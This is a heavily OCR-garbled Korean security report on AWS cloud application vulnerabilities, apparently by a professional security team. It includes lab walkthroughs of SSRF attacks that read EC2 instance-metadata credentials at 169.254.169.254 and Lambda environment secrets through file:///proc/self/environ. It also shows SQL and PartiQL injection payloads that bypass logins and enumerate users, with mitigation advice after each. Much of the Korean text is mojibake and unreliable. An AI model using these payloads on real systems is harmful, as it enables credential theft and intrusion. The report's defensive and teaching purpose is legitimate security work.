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2.4. 22QE 7|5 o OfF2|A0|M Mu|A
24.1. 2EI2E HZA EH MH|A H|»
SEHRE MH[A HSAH E E o E2(AH o S T T MH[As= ChZ1F 25U 0
TEas AWS(Amazon) Azure(Microsoft) GCP(Google)
Thab A H EC2:Elastic Compute Cloud Virtual Machine GCE:Compute Engine
ECS: Elastic Container Service, ) )
A 0|4 Kubernetes Service Kubernetes Engine

EKS: Elastic Kubernetes

Service

Lambda

Functions

Cloud Function

EBS:Elastic Block Store

Disk Storage

Persistent Disk

S3:Simple Storage Se

rvice

Blob Storage

Cloud Storage

EFS:Elastic File System File Storage Cloud Filestore
ZHE MHA EB:Elastic Beanstalk App Service GAE:App Engine
DNS MH|A Route53 DNS Cloud DNS
H3l 24 ELB:Elastic Load Balancer Load Balancer Cloud Load Balancing
Hi o} Security Group Network Security Group Firewall Rule

[7 1] 2225 AMH|A M3 AHAWS, Azure, GCP) A{H|A H|id

24.2. AWS A{H|A
AWSQ| 7|58 F82 AH|

ZTEZEZR
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Cognito  GuardDuty Directory KMS Inspector ~ WAF Code Code Code Tools
' Service 7~ . Pipeline  Commit Deploy and SDKs ./
0H!EI9‘II0IM st 'E = P-CI TR el R AHEA
S

</ *II‘ >Q¢ _

API SNS SQSs Step . Amplify Device = CloudWatch Auto CloudTrail
»_Gateway Functions ./ - Farm ./ % Scaling

Gl Ol EfEj| 0] 2 2EZ|X|

K__7 < m iy R A KA

E B EHEEH BEEBEEE B

RDS DynamoDB ElasticCache  Aurora Da‘abasse'\_’"gfaﬁo EBS EFS S3 Glacier Backup

n Service
HES V nag
I BB ER
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VPC Direct Route 53 ELB Cloud EC2 Lightsail ~ Beanstalk ECS Lambda
Connect Front
[O1Z 5] AWS MH|A ZEED|Q
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AWSE HEY, AS2(X|, HOIEHOlA, £N, YEYY, BHY, WX =7, B2 =7, T, 2ot U dEm
2o = ofZa|AolM S Ty HE 2o MHASS HMBBUCL 2 SMOIM oIZEE Fa MHASS

o
St Zon, O 2 MHA U MM LHES 34 EAM(https://docs.aws.amazon.com/)E &1 HEL|CE.

U

&1 Amazon EC2 S22 E 7tat AMH

4
otdst 37 80| 7t ARE S SR EMA
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HEYZ, 2 MH, P 2P MHB + A= MEBHE HEEH ZUBS MBI
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=
M Z2HXMY, HELY 2| glo] ZEES MY £ Us My HREEY MHAYULCH

e
Nodejs, Python, Go, Java & 02| A0{E X5, =4 F L OHIEE 7|ttez AEE HAYL
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o oHME 4 S
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of &= ArE& L}

O [Cf|o|E{H|0] A] Amazon RDS(Relational Database Service) ZtZ|& Q| =AY O O|E{H|O| A
Amazon RDSE= O3 O|O|E{H|O|A QIAEAY 26Oz |3 E/0H Amazon Aurora, PostgreSQL, MySQL,

MariaDB, Oracle Database 5! SQL ServerE H|&st 6719| H|O|EH|O|A ATl FZOA MEiG = QUSL|C
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) MHE|A(Serverless) : AHE Zt2|gr 2o ¢l0] OfEZE|AH0|MS LE U AT = = S242E HOE=
hey mE
9 O] AE A(Instance) : SRR CO| JpAF HEEl 1A

10



ge19c 28

S HE(AWS)

EQAST

Experts, Qualified Security Team

2.4.4. AWS ¥ OfZ2|H0|M of7|EHX
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UEE F2ASE Y ZAY SR

oM o= T2/ AWS _
U sAE wo Ag At DRI
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- LHH Ol of E2[AH o[ M0 THE H AOIE
(WordPress, Joomla, Drupal, Magento)
Zhckst L AEiAO] REE Y ALO|E Jhat
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(React JS, Vue JS, Angular JS, Nuxt)
tH IO X| = « xa o .
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CMS(ZEIX Zte| A[AH), ®XF A2l ofZ2|AH0|M, /e AEES Hdst= B & Mz &L
Ol2{gt AZEQOE ALESHH & AO|EQ| EHXE & +%, YHOE, &2 X Ha3g = A&LCh
O ¢ty §o]X] ¥ ¥ S AEI(Single Page Application)
128 oz g APIE AMESt0] & MH 2t SAot= SHA QLT HWAlE [O|H= HO|X|E CtA| 2ESHA|
pEa FHXZE 7hMHet UIE YH0|ESt= GraphQL = REST APIE & HMAE L L.
O ZHHSt & YAO|E z2F
E AWS Cloud
Users Amazon Amazon S3
CloudFront
HTML, JavaScript, O|0X|, G4 % 7|Et WAUS 2 AO|E REEXIO|A XM&StH, PHP tE= ASPNETDf
Z2 MY = ofE2(AH 0| ZEE ZESIA| &Lt
O AEzao|x ¥ SAE
E AWS Cloud ceo o I L )
Availability Zohe 1
ii E|||||E i aglsamn i
i ' Instance(EC2) ' Amazon RDS i
_.I._ Auto Scaling group i
Users Amazon Amazon Elastic Load .-i ____________________ [ .
Route 53 CloudFront Balancing i i Availability Zohe 2 E
_E_F é 5 ; ag},azonl ;
Instance(EC2) ' Amazon RDS
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HEAMI|HAIE ZE2t2E 0|8 7t0|E2t91(2021.05.03),2 7|Hte 2 AFHAE HolTtL|Ct
FIch F=H| IR E MHA X 2K} MH|A A XHZ|R)
13| O|AHZHO|X|= 670 13| 0|4l
AABHE Z QM 2M-IHIL 28 A
S22 MH|A MEXE MBI 2| D o' = s Fra e
o o _ BIREMH|AE 0|83ts MAZ 7|8t
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HEQ3 ZEH| DMBS S)L}, 22IRE X
o 1=715 81 DUBS B B2 M olgeis suni wop 2um A2
3l 7k Of HA 2N Al 28 T4 QA(S10|I{H}O| °
o Rl s 2 Al 7] A A . (MH, PC, DBMS, OfZ2|#|0|M 5)& 7|
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X HE QIZHEOF QB EAT|HIA|L Y

15



2aloC Do|s|Z HHHE(AWS) EQAST

o od Experts, Qualified Security Team

MH[2 A XHZ| )

tSO A o FE A[LB(ME, PC DBMS, OiZ2|A 0| S)2 7IE Fd 24-87t dutet
SLUOLAH MH| A AFEXALZE L.

ST E MH[A HZXL

Stz =20l tishM X 3A2REH FfH 2M-B7F =8 = A0S HIoior Lt

AL Qs thatel YRS S TAOIC ChYO) Ch3t YEE HOhs SESD Mok EAYLICH

ST OfB2lHo|Mel R Al HHE 4 A= UVS M0l B2} kAL T2 BHO| 53 F20| o
ob F ALIE|RE D&t HHAYLCH 9" 24 Al 2 €88 228 8Lt

7" /Y BER H(flge) 44 - ¥43)/ 5 (2) /7 8K1)
MELIE (Spoofing Identity) 0| & Imslf (Damage potential)
HO|E HH=E (Tempering with data) M3 =& (Reproducibility)
2ol (Repudiation) 3224 20| L (Exploitability)
ME L= (Information Disclosure) dskg 2= A2 X} (Affected users)
MH|A {5 (Denial of Service) 24 20|/ (Discoverability)
2ot &% (Elevation of privilege)

[ 5] I =Y &8

D THEEMNT|E BT, HOE (FHATO M HIh) Mo siYste 7|
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=

FRAELICE 53 A9
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=
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<l

3.4.2. 2a12E AMH|

IAM #3t(AccessKey:SecretKey) S 2

ol

x|C
— =

OFX|
o e

2| 70|14 3

=
=

i HMSZAHLE of

-+
o

o

olo

3.4.3. 22} E MH|A H|

L|C}.

3

220M XHO|7F EXe

—

f

AL MHlAo HEY, 2N S Che

AWS MH|A9| @F

Alztof w2k 50 YE Lt

o Zel=

I ==1 M&S HolHe 2o sk 250 Y& L Ct

St=

AWS Lambda2|

Amazon API Gateway?2|

iy,

ok
O

gitqoz I 22X LR

O AWS Lambda 23(0]2 S& HX|Lo} 28 a|H 7|%)

()
2 &
UU
O_/
N8
© 8
0 —
8
|rO
ol 3
=S
—  u0
ro i

[a'a}
OH_G
%0 =
o <

=0 2EE M2l Lo w2 ZFE LT

H| 2 2| (MB)

ol
ol
ofo

7l

~d

ro

o

K
all

0.0000000021 USD
0.0000000083 USD

128

512

(AWS Lambda 2 : https://aws.amazon.com/ko/lambda/pricing/)
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O Amazon API Gateway(0|= & HX|L|o} S5 2|H 7|&)

o
Ch=ah 254t

HTTP APl =& 2tH HIE2
At ST 1Y)
e 3 A 1.00 USD
39 H O|A 0.90 USD
REST APl &% R+ H|®2 Ch2at Z&Lct
2% F(E3) S 149)
Hg 39 38 3ot 7 3.50 USD
CHS 69 68 743t 7 2.80 USD
Che 1909 A 2.38 USD
200 A =1t 1.51 UsSD

(Amazon API Gateway

Q& https://aws.amazon.com/ko/api-gateway/pricing/)
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HE HAEZ AWS 174 X3 Moz HAIE 87tK| 5& MHIASO| CHsf AP Sl Qlo] AWS QIz 2o
Chot HOF BIF == HF HAEE AT 5 ASUCHL O 9 EIARBAIA dEE & = U= H2E= 5
K| gL T

3.5.1. AWS HEHAE 58 AH|A

@ Amazon Amazon EC2 QIAE A NAT AHO|EZ| 0| 5! Elastic Load Balancer

O Amazon RDS

Q0 Amazon CloudFront

O Amazon Aurora

O Amazon API Gateway

O Amazon Lambda % Lambda Edge 7|&

Q Amzon Lightsail 2|A&A

O Amazon Elastic Beanstalk =t4

3.5.2. 2X| &=
O Amazon Route53 Hosted Zones& S3%t DNS zone walking

MH|A 7{E(DoS), A MH|A 7{=(DDoS), DoS A|E#|0|E, DDoS A|23|0|E

a
a
a
a

o
0t
K
on
Hu
b
ro
o
02t
K

g, API @8 E2{Y)

3.5.3. HOIEH|AE 0|R9

RE 2o HAEE AWS EQF HIAE O|8ofa £

i

=
o
-

St0, AWS = = AMH|AQ FAUHE = Z2F|
o=z MELE[0foF gL|LCt

om

=
Mo CHst LA HAE &8 = 24A|7F O[L{Of AWS EOt
O MHZ HERA U9E, 29 28 o 22
O Amazon Web Service 02 A fS [

=
0 =9t Wrh =7 U AH|A0| ARBO| BB AWS FHS F4

X E AL https://aws.amazon.com/ko/security/vulnerability-reporting/
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MES=E M2 25T Mdtts
16 MNNEEE THALE - Cognito
17 AZAANOIE (&h) XSS A ZAAO0|EA )
23 EE (XSS) A
18 AZAANOIE QFBHZE (4h) CF I 2AA0|E 2| ]
(CSRF) FAE HZE(CSRF)
19 Oojle BEdE (&) SN HIO|HEZH&
20 F kot ) AWS Certificate
HTTPS =2 EZ 0|& Manager,
1 F|oFst HTTPS s &1 ] CloudFront,
gE 0|8 Application Load
| okst Balancer, API
22 LrTes HEHE Al ) Gateway, Amplify,
*| ok} Elastic Beanstalk
2 LIRS XA 518 _
24 ==ad - API Gateway
2 oME sig
2| em sres g (A SE MM0)Z ]
(&f) CC F7|H=
26 JFE AFYE 0|8 (&) SF M 0F -
27 FIIHZ (&) CC F7| H=x -
28 S8t 54 (&) AU Xt&3% 54 -
QFAIO|EO]| 2ofoh Al
? g egym wz ox ] ]
30 ool crezc (&) FD It ChR=zE i
(&) PT Z2H
TS I (&) Cs oty ZE= -
O|g¢t mlyd =4
32 LDAP Injection (4h) LI LDAP QI™ M -
33 SSI Injection (AH) SSI 1™ M -
HIHQHEZS -
3 (Buffer Overflow Attack) (&) BO HHoMI RS )
35 EAREE (A FS ZHAEZ -
(Format String Attack)
Ch| Bate N ¥ U
* ouel rems vz ] ]
37 CHER 28 =& (&f) DI CIAMEglEy -
38 MH SM REE AT - -
39 A2H 29¥E L E ( (M IL BESE Cloudfront,
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= -Lambda @Edge
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a1 [THA=8] Heff 1St
AT LR(X|A 7|8
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A EE TALE
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E AWS Cloud
i Availability Zone 1 '
AmazonSS 9 JUITET] i
o F gg';ﬂé :
‘ C@ ; | Instance(EC2) Amazon RDS |
Users Amazon Amazon Elastic Load
Route 53 CloudFront Balancing
Amazon S3
[ 7] JAE{=Z2}0|= ¥ TSAE! 2ZAO| SSRF B A LCHAHEC2)
E AWS Cloud
Authentication
K_A
B <))
©) KN
RDS Amazon S3

Amazon S3 Amazon Cognito

— S —

Users
Amazon Amazon Amazon AWS Lambda i &
Route 53 CloudFront !

AP| Gateway

| AWS Lambda

T ______________

[ 8] MEzZ|2 # ofE2|FH0] &F2| SSRF &2 Cli4f(Lambda)

>z

Q z &3

riot

|0

| RS MH|A(EC2, Lambda)ofl M AFEALZE @B URLS| SEHOIEE & HO[X|0] %

SSRF #|H2 BAXIL AH{O| Yots RS M2l SLES THE HBHOA LMD, LUKl SSRFZZO
Cae o HEYIOIN ANAE & Qs LR AAYYLICL SASE NHAS [j4oR B Z2

Ral

my M
o

I~
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2
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T g

oiZ2/A 0l MHOM fE¥S 2L HIEHOIH/WE ARS EF
2ILICF.

et
1
fas)
rir
b

Hopy My

19
oA

. QIE{Z}0|= Y SAE! 3ZAH(EC2)
[F2f] A2 MEHOIH &7t HhetE LT

|_

AN

217t gretE Lt

. MB{E]A o of=2|H|0|M 27 (Lambda)
[F|F] LHE X2 H2 Al Al THYo| W&0| =3 &L

[¥=] LHE AR B2 Al Al Of 247} BhebE LT

[¥=] 2FO0| 5| EEX| BAHLE ALEA MEHOIE MB|AZF THM A= ES 403 0f

xobM S E3) S OISXEO| Hsloz MI0| E715t 232 C AMHAEZ otg
F|obx olBta FAHEZ Sl =5 LRel = | 27+t 222 JHIAE 248
g = AFLHCH
5.1.3. ZlHarol
Atgj|1. AWS QIE{=2lo|= ¥l S AEl 2HA(EC2)2| SSRF 34
S0 El EC2 HA s VPC RN 2 ¢ & MH|A S APIE Oy = ZIChehL|Ch

SZXt= SSRF FAME S| AWS EC2 OEF H|O|Ef MH|AO]| UM A 0] AWS Access KeyS 2 SfL|LCT.

=

Stepl. IPHEE ZEZHo|F= ALO|E(ifconfig.io) FAE URL LtZI0|EH g2 F Al o AIO|EQ| HETJ}

=
s2g

Please Input URL to SURF!

You Request URL ! ifconfig.io
What is my ip address? - ifconfig.io

Your Connection

IP Address 54 21028195

Remote Host ec2-i- a0 .compute.amazonaws.com

[A2 9] EX™ AO|E(ifconfig.io) ME X

26




2319 mo|s| HHHEAWS) EAQAST

Experts, Qualified Security Team

Step2. URL L}2t0/H ZfoZ LHE MH FA(http://169.254.169.254)2 M|EtH|O|Ef HZEH E (/latest/meta-data)

Y Al AAEAEC2S FEVL SEE

C A =9 9% | 5421878.195:3000/geturl e o »

EQST LMS SSRF LAB  Home  About  Articles

Please Input URL to SURF!

169.254.169 254/latest/meta-data

You Request URL 1 169.254.169.254/latest/meta-data

ami-id ami-launch-index ami-manifest-path block-device-mapping/ events/ hibernation/ hostname identity-credentials/ instance-action instance-id instance-life-
cycle instance-type local-hostname local-ipvd mac metrics/ network/ placement/ profile public-hostname public-ipvd public-keys/ reservation-id security-groups
services,/

[23 10] LHE MH HEIHIO|E] HHE =3

Step3. 223t HEIHO|E HEE HMEsI0 @™ Al AAEHA(EC2)O| 9157 H (AccessKeyld, SecretAccessKey,

Token) 2tE 7} 7l5¢t

(http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ <the role name>)

e

G A =2 9% | 54218.76.195:3000/geturl & O » =

EQST LMS SSRF LAB  Home  About  Articles

Please Input URL to SURF!

169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance]

You Request URL 1 168 254 169 254/1atest/meta-datafidentity-credentialsiec2/security-credentials/ec2-instance

{ "Code" : "Success”, "LastUpdated” : "2021-05-31T07:18:42Z", "Type" : "AWS-HMAC", "AccessKeyld" : " it QOMU", "SecretAccessKey™ :

"fYgee ] LA L ", "Token" :

"1Qo)b3 ) pZ 22V ER G R e e e Telmae O i et AL T e e e T G R i ol BT, i )
"Expiration” : "2021-05-31713:43:282" }

[33 11] L5 AMHe| Q= H (Security-credentials) Z=3|
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AFHI2. AWS AMH{E|A 2 OfZ2|#H0|M 27 (Lambda)oflA{2| SSRF ZZ
LA

SAX= SSRF %A H 2 £ Lambdao| LS X0 B2 0] AWS Access KeyE = EgtL|CH

— =

Stepl. IPHEE =&d|F== AIO|E(iplocation.com) FAE [RIAIO|EL]S| URL Iizt0|E Y22 2K Al & At

HA —
olE9| Yot H2Y

URL

| https://iplocation.com

Status: Available

Preview:

54.83.148.220 Find “

Your IP address 54.83.148.220 CHANGE
Latitude 39.0481

[23 12] EH AlO|E(ifconfig.io) HE QH

Step3. & MH|AE XS5tz Lambdagts=o| Li& mAPE F£0| It

URL

file:///proc/self/environ

AWS_LAMBDA_FUNCTION_VERSION=8LATESTAWS_SESSION_TOKEN=IQoJb3)e il kit
east-

1PWD=/var/taskAWS_SECRET_ACCESS_KEY=E .

BLAMEDA_RUNTIME_DIR=/var/runtimeAWS_LAMBDA_INITIALIZATION_TYPE=on-
demandAWS_REGION=us-east-

1TZ=:UTCAWS_ACCESS_KEY_ID= HLVL=0_AWS_XRAY_DAEM

[ 13] Lambda &9| LHE™EHE X3
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aal

5.14. T FaAt

!

QIAEA HEHOIH FHE| 12|

HAE ok
ami-id OIAEHAE A|ZSH7| Q8 AF2 = AMIID
I 17} 0|40 QIAEAZ SAOf ARt ZP 0| 32 elAEHA
ami-lunch-index
7t AMEE =ME LIEFRLICE A HRf QIAEAO[ ZE2 0YL|CH
Amazon S30| &X|gt AMI OjL|HAE 1OtQ AZ. Amazon EBS
ami-manifest-path A& AMIE A2 QIAEHAE A|ESH AL Hizlg|= Zdits

unknown @ L|C}.

Of AMIZ 4445}7| QI8 CHA| HESRAE DE QAAEAO AMI
ancestor-ami-ids ID. O] Zt& AMI OjLHAE A ancestor-amis 7|7} = 4

0i| 2 EX4 L CF

block-device-mapping/ami BEE/EE Ot A|AHE Zotsle 7Hat CIHEO|A.

+ % 5070 B3 :

Lambda L& ME
- St X3 file://proc/self/environ

* /proc/self/environO| WAFO|| O[3l KTl AL CHE TZMAQ| aHABLE A8

b4S)
rir
Ral
ot
ro

- file://proc/#/enviorn (# :1~20 AtO|Q| ==X}l ZR7t BT UF)

- g AAFE X3 file//var/task/lambda_function.py

import os import sys import json import boto3 import traceback import baseb4
from urllib import request,parse from jinja2 import Environment,
FileSystemLoader,Markup def lambda_handler(event, context): env =
Ervirormpinader s FilrSsiemlcecarin paih joird s pathdirra ms .

T =Tl . L e -t T E e ol ] L
| = ) 1 L =K EH LA k 7

Safari/537.36} url="https://google.com” if event["queryStringParameters"] I=None
and "url” in event["queryStringParameters"]: url = event['queryStringParameters”]
"url"] else: url="https://google.com" template = env.get_template("index.html"} try:
reg=request.Request(url=url headers=headers) res=request.urlopen(req)
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5.1.5. HOICH*H

= L8
FHud A Lambda: AMH| AO|E @& 2|Z=(SSRF)
2 MH|A Amazon EC2, AWS Lambda
gaes 84 -
ZX| 2. EC2 QIAEHA MEHOIH Hob 47
1. HS70 VPCOM 5% Sl EC2 °._|¢E._1ﬁ01l Chsll 71 IPE 27K HEE o
2. QIAHEA OEIHOIHY HIots 852 HEdete
“aws ec2 modify-instance-metadata-options —instance-id [id] —http-endpoint
disabled”
3. QIAEA MELHOJE MH|A MM Kots 478
Iptables € 0| 2%t N|$H169.254.169.254 ip0f| CHsl Aot A7)
PF &= IPFWS AEOSIY] HM| A A
=R xx won nex 2az 23
1. Whitelist 2t&l9| Filtering
olzist 0| E{0f 3l 5183 List(URL, Scheme)oj %*PE Aot Halg
A8 =50 &5t $= d0= of2{Ho[X| SE
2. Blackslist 8fAl9| Filtering
ANEE =520 &5t= 243 2 2F Al 20X S&
Of| A])Private IP Loopback(127.0.0.1), ¥ L%t schema(sftp://, file://, http://), &
2R% EF+ZIH@, %0a)
H| -
5.1.6. #1Xxt=z
=t =N 1 xE H| D
IAEA OfE} GIOJH MH|A 9
1 AWS (https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-
instance-metadata-service.html#configuring-instance-metadata-options)
IAEA OEHOIE ZHE| D2
2 AWS (https://docs.aws.amazon.com/ko_kr/AWSEC2/latest/UserGuide/instance
data-data-categories.html)
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5.2. Lambda: SQL Injection

5.2.1. XIctery
AWS Cloud
Authentication 9
. K_A
= e % . =
@ N
Amazon
Amazon S3 Amazon Cognito DynamoDB RDS
Q)PartiQL
R [z) %H -
Users
Amazon Amazon Amazon AWS Lambda &
Route 53 CloudFront API Gateway
AWS Lambda
T

[ 14] MHE|2 & o F2|#H[o]d @2l SQL Injection T Llf &(DynamoDB, RDS)

Q AREAE HEtRAMOM Li2t0jHE Y8 = AMH(Lambda)z HE
O MHOIM M2|kls g4e AHEAZEH M2 Of2t0H YHUAS S SQL H2 2 44

-I =
Q dg= #2222 RDS HOJEH0o|AZ HEEOf HY

—

SQL Injection® ZZEIX| %2 AR U0l SQLHZ| Mol P2 FO| WL QOHX| YL 752
M#A7IE HPHALCE 0] HopHL 20|~ BANEY STRC MHzlA BHANE LHY = Uzl

Ct M2l 2HE0AM AtR2Y 5= = DB= DynamoDB, MySQL, MariaDB, PostgreSQL, Oracle, Microsoft SQL

Server S0| Q&L|CH

522. F4H U E

5 g
worm woy | DTSR B ASA U0l SQL A HBA FPS Fo| AL =sinl g
TI=0 = o N
7l5E HEA7|= FFFYLCH
e oy % HEADE olmeiX| g2 H2IE dgeL, 018 S Fe¥RE USY 4
J'|i|_ 7 e _ .
AS FP FofoR WErELCH
Hory @erE  ololEHolAN NIYE FRYEI LY & UsUCh
H|O -
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= I-_I_— E—I HO oHd |_(AWS) Experts, Qualified Security Team
5.2.3. ZITHLQL
Atg{|1. Amazon RDS(mysql) H|O|E{H|0]|A SQL Inejction
Stepl. Lt2t0|Ef(query) Zt0f Hof Y ZL(123)2Z HIO|HH|0[A Z=3| ZItE =olg
4= 28 /sqlif23
AFEN.
(auery) & Elf: 200
l - I Al A7t 2382ms
- sg=e
Fel FAd [
1
{query} it
_value 2 value? "data"s "123"
i
e ]
{query} s
[33 15] ¥ YHZ(query:123)2 2 HO[E{HIO]A~ H2| 27 X SH
Step2. HIZEl Tat0|Ef(query) 22 GlO|E{H0|A X3| HtE 2folyt
42 28 /sqlif23'or'1%'="1
AFER.
(auery; & Ef: 200
I X AlZE: 439ms
123'0r1%'=" I
sgeg
Hel ZAE [
{query} ' g 1,
= e 2=value2 “data" "123"
I
o= ' gt 2
“data" "4141"
I3
{
“id"s 3
data’: "a
4 I
1
[22 16] Y= Zi(query:123'or'1%’'='1) HZXE St SQL Injection HAE
X ALSRE EZio 2 BlO|E{HI0|AMYSQL) £3|S 4%ste Lambda B4
O 54 var arguments = event.pathParameters.guery;
i 55 const mysql = reguire( serverless-mysgl®)(}
L1 mysgl.config({
57 host : 'database-2.c4h9rddygtal.ap-northeast-1.rds.amazonaws.com',
53 database : 'product’,
59 user : 'admin',
68 password :
1 61 1)
62 await mysqgl.connect();
63
B4
B5 var sql = |'SELECT * FROM product.product where data like “'%' + arguments + "%\."';
66
67
68 let results = await mysql.query(sgl);
6% await mysql.end();
EG mysgl.guit();
[2% 17] AF8X} U3 22 0| =3|5l= Lambda &
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Al#|2. Amzaon DynamoDB Lj|O|E{H|0] A SQL Inejction(PartiQL)

Stepl. IOl QMM M2 HYS Sof HoHY LY 02E ol ¥

[ot

Username

or "1'="1

Password

LR R ] ‘

Login Failed

[OT 18] Y= ZH(query:or'l’'="1) HXE EoF SQL Injection E|AE

Step2. O 2|0 A|X| S EHolst

"Traceback (most recent call last):Wn File #"/var/task/lambda_function.pyW", line 21, in
lambda_handlerttn users=client .execute_statement(Statement=#"SELECT * FROM ###"Userstt” where username
= "$'+username+d" and password = "W '+password+#" W )n File #"/opt/python/|ib/python3 . 8/site-

packages/botocore/c|ient .py®", line 357, in _api_call#n return self. _make_api_cal | (operation_name,
kwargs)#n File #'/opt/python/|ib/python3.8/site—packages/botocore/client .pyl", line B76, in
_make_api_cal [n raise error_class(parsed_response, operation_name)#nbotocore .exceptions.ClientError:

An error occurred (ValidationBxception) when calling the ExecuteStatement operation: One or more key
attribute values are not valid. The AttributeYalue for a key attribute cannot contain an empty string
value #n"

[33 191 SQL o MHA|X] SE
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Step3. O HHAIX|2 =HQIE FE0f XA ™S F2| 4 8 TS Al ArERHbob)z 2191 &

Username

test' or'1'="1"'--

Password

Login Failed

[OT 20] Y= ZH(query:test'or'l’="1) HXE St SQL Injection HAE

Welcome bob

[33 21] AM2Z} ‘bob’'e2 219! =

Step4. PartiQL ©| MISSING &£ 0|8%t H|O|& L &4d7f(user, username) =X OJF ZEO| Al

Username

bob' and "user" is not MISSING --

Password

Login Failed

[ 22] "user” %43t Mol AE (ZMel)
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Username

bob' and "username" is not MISSING --

Password

Login Failed

[O%! 23] “username” £/MZF HO| AL

Welcome bob

”

[O8! 24] “username

OF

Step5. PartiQL ©| BEGINS_WITH &+E& O|2dl| &£d4F W 2XE 2o Alx

M7 Bl Al ALK} ‘bob’'22 219l E

Username 2| &

21}

test' or begins_with("username”, 'b'

bob 22 219l

Login Failed

Login Failed

)__

test' or begins_with("username”, 'c')--
)__

username”, 'e')--

(
test' or begins_with("username”, 'd’
(

test' or begins_with

eve ©2 2719l

Welcome eve

[O2 25] AI2X} ‘eve’o 2 291 E
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aal

C} 731”-'6

- T 2

EojAre

AWSOf| M 2| Cj| O] E{tf| O] & AMH| X

Cl| o] E{ | O] 2
A2 AHY| AWS MH|A
o &
T o
- Amazon Aurora
- Amazon RDS
Relational _ : Amazon Aurora, PostgreSQL, MySQL,
N 7|E OfEZ2|#AH 0|, ERP CRM, TA} 2fAHef .
(A H) MariaDB, Oracle Database, SQL
server
- Amazon Redshift
22 Emol ¥ o, M 47| A2E,
Key-value = _ ! = < - Amazon DynamoDB
A ofZe|#H oM
AL, MM Z2], AY &9 H, X|2| 27t Of - Amazon ElastiCache for Memcached
In-memory _ ] )
Z2|7A0|M - Amazon ElastiCache for Redis
Document ZHEX A, 20, AFEA =2H - Amazon DocumentDB
. | el 3 22| 2 d=2 x|H30| At
Wide column N - Amazon Keyspaces
85t= e A gE o
Graph 2N EIX|, AM HEQZ, =™ Az - Amazon Neptune
. . IoT OfZ2[#0]M, DevOps, A& e .
Time series - Amazon Timestream
Eg|
Ledger HIEE A2E S5 55 28 Al - Amazon QLDB

AWS G|O|EH|O|A AMH|A = Amazon RDS(mysql), DynamoDBO| CHgt HRE AlSIFEL|LCH

DynamoDB= NoSQL 7|8t G|O|EH|0|A2 SQL HE|E HY ZZA0| =7tgrct B, Hel =

St 4% SQL Injectionut Zo| ZQFEE 5L += 2
x

NoSQL Injection” &=2& & HfEFL|CH

PartiQL
A0 A 8i0| 2A™ HIO|EH|O]A, NoSQL H|O|EHo|A, 2Z I A|AHINAM HOHE BE8d2
E FH2g = A= SQL = FH2| A YL|CL 0]F S DynamoDBO|A FZEDLE FHZ|Q0 2 HO,

Sel, YHOIE, A Sof Etel £%0| JHsBLICh (2020.1123)
- BRIYOE Te MEE(E A
,#4 9 ooolols 2 MEE() AE

=
* X0 https://docs.amazonaws.cn/en_us/amazondynamodb/latest/developerguide/ql-reference.html

H
M
o
ol
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2A4E o|o]E{H|0] A2t NoSQL H|O|E{H|O]A H|m

(https://aws.amazon.com/ko/nosql/)

TE A1 ool E{Ho] & NoSQL Cj|O| E{Hj|O] £
NoSQL HIO|EHo|AE W2 K|S A|Z+Q] 0
248 GolEolas Yraol Hoj eat oo 1 *_'L == HE e
- S| 0|MS ZEgtot =R GO UM i
ZH9o| ol EYHMMN Z= N H(OLTP) OfEF2[H0o|H= o . o1 A e
N o ol H== ZAEZASLCH NoSQL AA o
az=e Qs A0l 2atel 24 ZZA|AOLAP) . cao ol
Ao ch OIEHIO| AL B FOIEAN 248 Ut
o g7 sl ALt
A ™2 HOHE dut €2 FYE H|
O|22 FnetetLith £7|0= HO|E, &, ¢, _
. o NoSQL HIO|HH|O|A= 7|-gf, &AM, A= &
Hloje]  QiEA HO|E 2t A, 7|EL CIO[HHO|A N N
e = dsit n2 = xHotE Chfeh GOl
LR 25 FeotA gLt HOo|EHojA= H| s HoeLc
olg Atole| BAHM EHxE BAMES MHEL T T
Ct
A Clo|HH| 0| A= AXL7E, Yetd, AZld
gl X|&H(ACID,  atomicity,  consistency,
isolation, and durability)9| £4& HN&gL|Ct
- A 2ESHA 2¥SHALE =2 5 NoSQL HIO[HH|O|A= 23] =Bz =y
Mgl e EUMMES WA FUC) S Qe 2Ch R03 GlojE 2HS ) B
acp | SEEE EUEMHOl S HOlEZ ¥ HolEHolAol Aw AND H¥E ek
gy Gl O E{ | O] & 27|08 Erotes  22M =Fe Lt O|ZM NoSQL H|O|EH|o|
T armuc AL O QIARIAC WIS YO $To=
- HEld2 SA0 YolLts EMMUESO| =GO o= AME AROIM =2 MEF, ¥
27 B2 JYE|0foF &S 2Ol Tt = XA AlZtS fleh Erdot HEHO| E LT}
Wd2 O7|X] 2ot A[&H” Fof == FH
Al OEX[2t ez el dEl2 S+5t= 7|52
2= Lo}
Moo oHIMo=Z [|Ag Lol A|AHEI 2
de2 EEH o=z C|A3 5t A|AH0| et Mio duiHoz y|m B9l SEAH 3
. CHELCH 22 455 2957 flsiMe # N _
45 7], HESZ XA AZH 8 =& ofE2|#H0o|H
gl, A2 8 HOlE FZ& AtF ZH S}l OF ol
. °| 7|5t
efL|C}
NoSQL GIO|EfH|0|A= YHIHo =z 7Ho| X
A HO|HH|0|A= YEH o=z SIEQI0S] SHHQl HMR0M LitE d5E MISt= AE
25 ALt 458 =0/ALE 7] E8 HIAZES T HIUE fl8 24 OFF[HIME AES) A
=M= FELEM ZEELL M2 miEo| = 7hsst7| Mo =290l
UG LT
ZHH| J|HE APIZ E3{ 4 JHLXI7F OlO|E T
. . - — =2 O =] =
olHE M¥ % HMer| @ eye =07 G TR
SQL(—T—LK§|' XIOI 0101)0 = |'I_ %—IElE AI‘ —ZQ—E E7‘” X-Io x aagE T Ml:il—lt'l'- J'LI'El
= == = T = o -
API N o M 718 ABSIE oM 7|-3t HO, B ME
golo] MYELCH Fals BAY HolEHol T e e
N —_ AlSHE| C= e o 2K X HdS Z@sts BHE
A0f o3 T2 2AMED MWL A
8 SNE AMT & sl
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5.2.5. HOICH*H

7= e
Fokd™ ™ Lambda: SQL Injection
2 MH|A 0 AWS RDS, Amazon DynamoDB, AWS Lambda
gaeE 54 -
ZX| "L SQL Injectiong gHX|sl= OtESH 2| E AtEdljoF &
OWASP 7| JSP&= Bind Y =2} PreparedStatementE A&, PHP= PDOS| bindParam
ot Z0o| EtES XEots gt g A8ste A #stn USLCh CfEh MHE(A
gtZ0 M= ISP PHP S MH Q0| AESHA| RSt LambdagE S3iA SQL H2lE %d
St WAZ AFEELICE LambdaE F45h= 210l= NodelS, Python S2= CHYSHA +
42 + YsUrh
